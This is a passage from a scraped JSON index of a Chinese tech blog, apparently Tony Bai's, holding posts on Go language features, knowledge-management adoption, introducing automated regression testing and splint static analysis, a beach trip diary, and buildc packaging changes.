的常规返回值都可供你使用。\n简化的组合(而不是继承)。就像在Java中那样，通过使用interface指定行为，类型可以作为对象的成员。例如，标准库中的io包 定义了一个Writer，该接口指定了一个方法：一个Write函数，以字符数组作为输入参数，返回整型值和错误类型。任何实现了与这个Write方法签 名相同的类型都是io.Writer接口的一个事实上的实现。这个设计优雅地解除了代码中的耦合。它同时也简化了单元测试时mock对象的实现。例如，如 果你想要测试一个Database对象中的方法，在标准语言中你需要创建一个Database对象来创建mock，这个对象需要大量初始化和协议实现工 作。在Go语言中，如果这个被测试的方法实现了某个interface，那么你可以使用这个接口创建任意对象，用起来很方便。这样你就可以创建 MockDatabase，它是一个最小对象，仅需实现一些必要的方法以使用这个需要被mock的interface – 无需构造函数，无需新增特性，只要方法。\n简化的并发。在Go中并发相当的容易。将关键字\u0026rsquo;go\u0026rsquo;放在任意函数前面，这个函数就会在其自己的go-routine（一个非常轻量的线 程）里面运行。Go-routine之间通过channel通信，channel在本质上是一种阻塞消息队列。常见的互斥工具在Go中都具备，但Go语言 通过启动并发任务以及通过channel协作的方式简化了这类操作。\n非常棒的错误消息。在我见过的语言中没有哪门语言在输出诊断信息方面能与Go想媲美。例如，如果一个程序死锁了，Go运行时会通知你，甚至可以达到告诉你哪个线程导致这次死锁的程度。编译器输出的错误信息也十分详细和有用。\n大杂烩：Go语言还有其他极具吸引力的特性，这里带大家快速浏览一遍：高阶函数，垃圾收集，hashmap以及内置到语言(语言语法的一部分，不是通过库引入的)中的可扩展的数组。\n当然，不是所有东西都是彩虹棒棒糖。这个工具仍然不成熟，开发社区规模也很小，但有Google这样的公司作为Go语言的后盾，这两方面不足肯定会被弥补 的。许多语言 – 尤其是D、Dust以及Vala，致力于简化C++以及增加特定特性，这让我感觉它们更像是\u0026quot;带有更好特性的C++\u0026quot;，而Go语言，其设计内涵中有一种对 系统原生语言要如何运转的重要的反思。正是出于这种认识，一个去除了许多问题的优雅实现诞生了。即使你没有什么特别的需求考虑去使用Go语言，那么我认为 用你最直接的方式去了解这门语言，你会发现Go的许多特性会让你赏心悦目。Cheers!\n","permalink":"https://tonybai.com/2012/08/08/why-not-go/","summary":"\u003cp\u003e本文翻译自 \u003ca href=\"http://www.drdobbs.com/\"\u003eDr. Dobb\u0026rsquo;s\u003c/a\u003e主编Andrew Binstock的文章\u0026quot;\u003ca href=\"http://www.drdobbs.com/open-source/why-not-go/240005062?cid=DDJ_nl_upd_2012-08-07_h\u0026amp;elq=695b00ab66b14b43a0654259147aed80\"\u003eWhy Not Go?\u003c/a\u003e\u0026quot;。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://golang.org/\"\u003eGo\u003c/a\u003e是一种对系统原生语言的重要反思，它对\u003ca href=\"http://tonybai.com/tag/c\"\u003eC语言\u003c/a\u003e做了重大的改善，同时还保持了语言的极简性。\u003c/p\u003e\n\u003cp\u003e今年早些时候，我们写了一篇有关新兴系统原生(native)语言的文章。这些语言包括D、Go、Rust以及Vala。当时我们承诺将会对这些语言进行 细致的探索。从本周开始，我们将开启一系列对来自Google的新语言Go的探索之旅，该系列共有五部分。不同于以往Dr.Dobb\u0026rsquo;s的教程系列，我们 会在连续的几周内发表这些文章，这样你就可以及时且更快的了解到这门语言了。\u003c/p\u003e","title":"为什么不用用Go？"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2012/08/07/errata-of-some-practice-to-improve-tech-sermon/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"《改善技术布道效果的几个实践》勘误"},{"content":"去年在产品线内部尝试了一些知识管理的实践：建立了知识库，初步在产品线内部养成了知识整理和总结的习惯，建立了工作流程与知识库之间的粘性，取得了一定效果。今年年初在事业部内部做了有关知识库实践方面的分享，大家也都认识到这几年我们在知识积累方面上的不足，也都很赞同知识管理的重要性与必要性。会后领导决定建立事业部级知识库，并安排专人负责知识库的维护与推广。\n于是乎负责知识库搭建的那个部门申请服务器、安装和调试知识库系统，甚至是修改代码以满足我们内部对权限的要求，后续还召开了一次子部门知识负责人会议，以推动各个子部门应用知识库。这样的开头看起来还是蛮不错的。但随着时间的推移，热情经过冷却也渐渐凉了下来。知识库的负责人也变更了，定期的知识管理交流会也不再举行了，仅仅剩下我们的产品线依旧保持着已经养成的热度。\n万事开头难，确实不假。但究竟是何原因导致出现此种情形呢？近期做了一番思考，想到了以下几点。\n最初，知识管理受到了领导的推崇，并做出了部署并使用知识库的决策。但随后领导似乎“忘记”了这件事情，缺少了持续性的关注。这似乎无意中给了大家一个错误的信号：知识管理并非我最在意的事情。领导不关心，下面的人如何行动可想而知。换位思考，我十分能够理解领导们每天的忙碌，毕竟在中国这个激烈竞争的IT市场环境中，摆在第一位的永远是“如何活下来”，所以领导们的确应该将市场、客户等放在头位，这无可厚非。但如果用经典时间管理理论来理解的话，知识管理就是一件重要不紧急的事情，市场、客户关心之余应该得到领导给予地持续关注，否则知识管理就逐渐陷入不重要不紧急的象限中去了。组织的持续成长是需要有知识积累作为保证的，“铁打的营盘，流水的兵”，组织内一批批的人员更迭，甚至若干年后领导们也都已经高升到其他岗位了，留下的也只能是组织运行多年来积累下来的那些知识(技术、经验等)了。因此真正为组织着想的领导是应该给予知识管理持续关注的。\n2、员工的工作心态\n说完了领导，说员工。对普通员工而言，最重要的莫过于：把活按时干完，每月都能拿到高绩效奖金，年底拿更多年终奖，来年涨更多薪水。同时，在这个过程中，自己也能成长，翅膀将变得更硬朗，弄不好就飞走了，把一切都带走，不留下一丝痕迹。工作了若干年，后来人甚至不知道你的存在，除了你那日益发出腐朽味道的代码外，你没有给后人留下任何有帮助的东西。很遗憾，我看到的不少人都是这么做的。一些人工作就是当一天和尚，撞一天钟，甚至都不为自己后续的工作考虑，没有总结，没有思考。后续遇到相同的问题时，一切从头来。试想一下，如果在这样的一个群体里，即使搭建出一个知识库平台，又有几人能够使用呢。当然这里仅仅是一个例子，我看到了越来越多的年轻人报着Open和虚心学习的心态，主动应用组织提供的知识平台，认真学习技术、了解业务，并在工作一段时间后，贡献出了高质量的知识，他们意识到了知识积累和总结的重要性，他们从中得到了益处，他们认为自己在工作过程中的收获可能对其他人也很有益处，也会给自己后续的工作带来方便，这样的工作心态是值得赞赏的。如果一个组织内部员工的工作心态均是如此，知识管理推广将十分容易，而且我相信这样的组织将会有更为持久的生命力。\n3、这个人适合吗\n有了知识库后，不能放任自流，务必要有专门人管理和推广。如果组织够大，这个人最好专职；如果组织不大，知识管理的工作量不足以饱和，可考虑兼职；但什么样的人合适呢？如果让一个不适合的人来负责知识管理，那就是\u0026quot;搬起石头砸自己的脚\u0026quot;，不仅不能扩大知识库在组织内部的作用，甚至还可能让其他人产生“知识库无用”的观点。像我们这样的组织，开发人员占据大多数，没有设立专职知识管理专员职位，大家都是门外汉。我也不是知识管理专家，但我希望组织内有人通过我们搭建的平台逐渐成为知识管理方面的专家。因此我们需要一个其自己就致力于在知识管理领域有所建树的人负责，这样的人有热情、有意愿将组织的知识管理做好，这绝对是做好知识管理的一个必要条件。这个人的需要能让组织以及领导们时刻意识到知识管理的存在以及重要性。如果做不到这一点，那这个人就是一个不合适的人选。\n4、策划和推广有计划吗\n知识管理是重要不紧急的任务，因此应该做长期计划，分阶段达成目标，无计划、无政府状态的知识管理将会变成一盘散沙。知识库这座大厦的结构是动态的，是始终趋向更满足组织需求而变化和重构的。知识库负责人应定期根据最新需求策划调整知识结构，并在组织内做足推广和宣传，引导大家在正确的位置贡献知识；知识库的新版本升级、新功能的支持都应该让组织内的成员知晓；更重要的是要设定知识管理的阶段性目标，并努力达成，定期组织汇报，用成果打动大家，增加大家对知识库的粘度。\n5、理论结合实际了吗\n知识管理是有一套理论做支撑的，我是门外汉，从来没有系统学习过。但我想如果要做好知识管理，理论必不可少。这更多是知识管理负责人的事情。他/她应该主动学习这方面的一些理论，结合实践，搞好知识管理。我想知识管理想要上一个台阶，上一个档次，这一步必不可少。\n能想到的原因上面已经列了出来，但如何解决呢？人的问题，非技术问题，难啊！不过我觉得也许最关键的一步应该是选好一个合适的知识管理负责人。这也是下一步我要力促的事情。\n","permalink":"https://tonybai.com/2012/08/06/reasons-for-promote-km-difficult/","summary":"\u003cp\u003e去年在产品线内部尝试了一些\u003ca href=\"http://tonybai.com/2011/11/23/those-things-about-knowledge-management/\"\u003e知识管理\u003c/a\u003e的实践：建立了知识库，初步在产品线内部养成了知识整理和总结的习惯，建立了工作流程与知识库之间的粘性，取得了一定效果。今年年初在事业部内部做了有关知识库实践方面的分享，大家也都认识到这几年我们在知识积累方面上的不足，也都很赞同知识管理的重要性与必要性。会后领导决定建立事业部级知识库，并安排专人负责知识库的维护与推广。\u003c/p\u003e\n\u003cp\u003e于是乎负责知识库搭建的那个部门申请服务器、安装和调试知识库系统，甚至是修改代码以满足我们内部对权限的要求，后续还召开了一次子部门知识负责人会议，以推动各个子部门应用知识库。这样的开头看起来还是蛮不错的。但随着时间的推移，热情经过冷却也渐渐凉了下来。知识库的负责人也变更了，定期的知识管理交流会也不再举行了，仅仅剩下我们的产品线依旧保持着已经养成的热度。\u003c/p\u003e","title":"知识管理推广难的几点原因"},{"content":"最近闲暇时间在策划实施两件事儿：一是产品的自动化回归测试；二是尝试在项目中使用一些静态代码语义分析工具。我觉得这两件事是应该做的正确的事，对提升产品质量，提前发现产品中潜在的缺陷都大有裨益。但在做的过程中才感觉到：现在做有些晚，正确的事要趁早做。\n去年自动化测试组发布了自动化测试框架的第一个版本，我们的产品参加了试点。但经过自动化测试组大半年的投入，效果十分有限，根本没有达到我的预期。最主 要的问题是使用他们提供的框架编写和维护test case都十分困难，工作量投入很大，这很打击大家的积极性。今年大家决定将自动化测试框架换成nokia开源的robotframework。经过预 研，robotframework完全可以满足我们的测试需求，并且robotframework的用例编写和维护效率太高了，编写门槛却很低。\n虽然换成了robotframework，但我们应用的时机还是有些晚了。试点项目已经接近开发尾声，这时候如果要加上自动化测试，势必就要在短时间进行 大量测试用例开发。如果在项目初期，增量的用例添加相信会达到更好的效果。但即便是“亡羊补牢”，我们也还是要做的，还好这个产品版本的生命周期才刚刚开 始，后续可能还会持续很多年，加上自动化回归测试还是有重大意义的。\n不过鉴于之前的教训，我们调整了自动化测试的切入点。之前自动化测试组只是闷头写用例，并未太多考虑自动化测试框架与被测目标如何配合的问题：比如没有考 虑自动化测试在哪个环节应用、谁来驱动、谁来执行以及测试环境如何生成等。这次我们先绕过用例编写，先从“基础设施”搭建开始。我们的目标是将自动化测试 与我们的持续集成流程集成在一起，也就是说我们将通过jenkins这样的ci平台来作为自动化回归测试的驱动。我们首先就是要将这个驱动流程run起 来，即便测试用例库中一条用例也没有。一旦run起来后，我们再将关注点集中在用例的编写和调试上，我想这才是正确的思路。\n第二件感觉做得有些晚的正确的事儿就是为项目增加静态代码检查环节。之前项目静态代码检查仅停留在打开GCC编译器的-Wall选项这个层次。就是否有必 要引入第三方静态代码分析工具对代码进行缺陷检查，大家一直没有统一意见。质量部门希望我们引入，但关键问题是我们没有找到一款适合的开源工具(for C)，在维基提供的C语言静态分析工具列表中，我感觉似乎只有splint符合我们的要求 – 开源、功能强大且支持linux/unix。不过splint似乎已经停止开发了，最新版本停留在3.1.2。\n使用类似splint这样的工具对代码进行检查时总是能给出大量的warning，如果不加以控制，那么屏幕就会被warning淹没。因此正式使用之 前，需要一个“磨合期”。先确定打开或关闭哪些检查规则开关，原则只有一个，即尽量避免误警告，又不能漏掉真实的隐患。splint对C99新增语法的支 持不是很好。splint碰到下面这种语法时会提示parse error，并且无法recover：\nstruct foo {\nint a;\nint b;\n};\nint main() {\nstruct foo f = {.a = 1, .b = 2}; /* Parse Error */\nprintf(\u0026quot;%d %d\\n\u0026quot;, f.a, f.b);\nreturn 0;\n}\n这类静态代码检查的基础设施在项目初期搭建起来是最佳的，开发人员可以增量的对代码进行语义检查，并修正缺陷。但如果在代码开发即将结束的阶段加入，即使 是设置了一套合理的检查规则组合，你也可能困惑于工具产生的大量Warning。不过“有胜于无”，在没有找到更好的工具前，我将splint加入到工程 中，建议组员适当时机使用，并随时对check rules组合开关进行调整和优化。也许经过一段时间的磨合后，可以实现在ci job中加入自动代码静态检查这个环节，当然目前肯定不是适宜时间。\n正确的事，你会发现早做和晚做效果是截然不同的。但“亡羊补牢“的工作也不能不做。既然是你认为正确的事，从长远来看，还是能带来很大价值的。\n","permalink":"https://tonybai.com/2012/08/02/do-right-things-early/","summary":"\u003cp\u003e最近闲暇时间在策划实施两件事儿：一是产品的\u003ca href=\"http://en.wikipedia.org/wiki/Regression_testing\"\u003e自动化回归测试\u003c/a\u003e；二是尝试在项目中使用一些静态代码语义分析工具。我觉得这两件事是应该做的正确的事，对提升产品质量，提前发现产品中潜在的缺陷都大有裨益。但在做的过程中才感觉到：现在做有些晚，正确的事要趁早做。\u003c/p\u003e\n\u003cp\u003e去年自动化测试组发布了自动化测试框架的第一个版本，我们的产品参加了试点。但经过自动化测试组大半年的投入，效果十分有限，根本没有达到我的预期。最主 要的问题是使用他们提供的框架编写和维护test case都十分困难，工作量投入很大，这很打击大家的积极性。今年大家决定将自动化测试框架换成nokia开源的\u003ca href=\"http://code.google.com/p/robotframework\"\u003erobotframework\u003c/a\u003e。经过预 研，robotframework完全可以满足我们的测试需求，并且robotframework的用例编写和维护效率太高了，编写门槛却很低。\u003c/p\u003e","title":"做正确的事要趁早"},{"content":"上周末，部门组织了一年一度的集体出游活动，这次的目的地是位于葫芦岛市附近的绥中电厂海滩。\n周六(北京时间7月28号)，恰逢伦敦奥运会举行开幕式，很遗憾不能完整的看完现场直播。在看完憨豆先生的精彩表演后，我就从家里出发了。本来这次旅游我是想带LP和果果一起去的，之前用一周时间已经做好了所有准备（吃的、穿的、玩的、用的），但人算不如天算，果果居然感冒了，早上起来一量体温：38度。唉，果果与大海第一次邂逅的时间只能推迟了。\n天气预报也没有给我们带来什么好消息，受冷涡影响，周六、周日葫芦岛一带有各种雨：中雨、大雨以及雷阵雨。还好，大家也调低了对此次出游的期望：大不了就在住所打牌吗！大巴准时从沈阳出发了。\n将近六个小时的行程让人有些疲惫，路上虽然顺利，但有些惊险：大巴刚到京沈高速锦州西出口时，老天就降起了瓢泼大雨，雨最大时能见度估计也就二三百米。司机降低了车速，我们到达的时间也延后了将近两个小时。老天也许是怜悯我们，当我们到达目的地时雨居然停了。\n这次我们住在农家院，房间挺不错的，几乎每间屋都有电视和空调，4人以上房间还都有室内卫生间，可以洗热水澡。吃的也还行 – 只要不吃坏肚子，我都认为“不错”^_^ 。最大的不足就是离海边太远，步行要半个小时，这与之前几次到海边旅游的境况大相径庭 – 以前基本上出门就能看到海。\n匆匆午饭后，我们就乘车来到了海边。外面的天很阴沉，没有太阳，也就没那么晒，至少省防晒霜了。不过这里的海却不那么吸引人 – 水质黄浊，风浪巨大。不知道是不是这里的泥成分较大，海水发黄，十分浑浊，与之前我在网上看到的网友的评价出入很大啊。另外当天风浪很大，初步目测了一下，浪高在0.8-1米左右，即使会游泳的人也不敢贸然向远处游，绝大多数人是套在泳圈里在岸边接受“海浪”冲扶:(。海滩也很窄，没走几步就延伸到海中了，坡度也陡，难觅平缓；沙子较粗，同事开玩笑的说：这不就是建筑工地用的那种沙子么^_^。\n水太脏，索性也就不下海了。沿着海岸走了一周，无趣。于是和同事一起到岸边组织踢沙滩足球。估计与我有同感的同事有不少，不一会儿就聚集了好多要踢球的同事。沙滩上踢球是很累的，踢了几个回合下来就已经全身透汗了。另外由于沙子较粗，一不小心脚内测磨掉了一小块皮。于是下场用清水冲洗伤处，坐下休息。\n沙滩的配套设施也不那么完善，淡水淋浴房中出的水十分浑浊，看到进去洗澡的同事都扫兴而出。玩得不尽幸，索性也就早点回了驻地（没等旅行社的车）。\n晚饭后，有些人回屋以电视消遣，有些人(包括我)则开始打牌消磨时间。这时外面居然下起雨来，而且是雷雨 – 电闪雷鸣的。突然听到一个极响的雷，然后农家院所有的电视信号就都没有了。估计是小镇的电视信号设备被雷搞坏了。那些看电视的同事无所事事，也就陆续卧床休息了。我们继续打牌，一直打到快11点了，雨停了。年轻的同事提议去外面吃烧烤，考虑到外面道路泥泞，还没有路灯，再加上我也不喜欢海鲜烧烤，因此我也回屋休息了。还别说，一天下来还真的挺累，很快就进入了梦想。半夜时分，外面似乎又下起了暴雨，且伴有雷电，翻了个身，继续在梦中旅游^_^。\n第二天起来时，雨早已停了，外面有些凉，但空气不错，天气有转晴的迹象。按照导游的计划，今天我们去另外一片小海滩 – 那里游客不多。早饭后乘车来到这片海滩，的确不大，人也的确很少，但海水与昨天的海滩没有大分别，浪似乎更大了。大家基本没有下水的。海滩上有一个简易排球场地，我们租了个排球，继续海滩运动之旅。好久没打排球了，不过高中的排球底子还在，感觉还行 – 技术动作还是蛮规范的^_^。大家玩得还是蛮欢乐的，打了近两个小时，全身透汗，不过时间到了，该乘车返回了。\n两天的绥中电厂海滩之旅就这样不温不火地结束了，中午十分，天已大晴，太阳出来了，瞬间大家就感觉到了热量。午饭后，大家赶紧钻进已开空调的大巴车中，等待回程。一路无雨，行车速度自然也就快了许多，4个半小时多点，我们就回到了沈阳。\n乘地铁回家，看到果果病已痊愈，虽疲劳，但还是蛮高兴的。\n","permalink":"https://tonybai.com/2012/07/30/a-trip-to-suizhong-beach/","summary":"\u003cp\u003e上周末，部门组织了一年一度的集体出游活动，这次的目的地是位于葫芦岛市附近的绥中电厂海滩。\u003c/p\u003e\n\u003cp\u003e周六(北京时间7月28号)，恰逢\u003ca href=\"http://www.london2012.com/\"\u003e伦敦奥运会\u003c/a\u003e举行开幕式，很遗憾不能完整的看完现场直播。在看完憨豆先生的精彩表演后，我就从家里出发了。本来这次旅游我是想带LP和果果一起去的，之前用一周时间已经做好了所有准备（吃的、穿的、玩的、用的），但人算不如天算，果果居然感冒了，早上起来一量体温：38度。唉，果果与大海第一次邂逅的时间只能推迟了。\u003c/p\u003e\n\u003cp\u003e天气预报也没有给我们带来什么好消息，受冷涡影响，周六、周日葫芦岛一带有各种雨：中雨、大雨以及雷阵雨。还好，大家也调低了对此次出游的期望：大不了就在住所打牌吗！大巴准时从沈阳出发了。\u003c/p\u003e","title":"绥中电厂海滩之旅"},{"content":"随着buildc使用的深入，越来越多的新需求暴露了出来。为了满足这些需求，我们组的小兄弟又对buildc进行了一些改造，这些变化如下：\n1、支持将多个子工程打包到一个安装包中\n最初buildc的设计思想是为每个子工程单独制作安装包，这样具有很强的灵活性。但在对现有N个工程进行构建脚本改造的过程中发现，有些工程间存在严重 依赖，比如工程A是一个业务级公共库工程，工程B和工程C都依赖工程A构建后生成的静态共享库。而工程A又无法被当成第三方库处理，这给我们的安装包构建 制造了难题。我们的解决方法就是改造安装包工程的setup.cfg文件，让其支持多source。从正规语义上来讲，我们这么做将使得buildc支持 将多个子工程打包到一个安装包中，而间接的作用则是解决了上述有依赖关系的工程安装包制作的问题，虽然看起来不那么美。\n修改后，setup.cfg中配置就变成下面这种情况了：\nsource = [\n{\n\u0026ldquo;trunk\u0026rdquo; : \u0026ldquo;svn://10.10.15.56:4444/cn/trunk/A\u0026rdquo;,\n\u0026ldquo;binary_prefix\u0026rdquo; : \u0026ldquo;fooA\u0026rdquo;\n},\n{\n\u0026ldquo;trunk\u0026rdquo; : \u0026ldquo;svn://10.10.15.56:4444/cn/trunk/B\u0026rdquo;,\n\u0026ldquo;binary_prefix\u0026rdquo; : 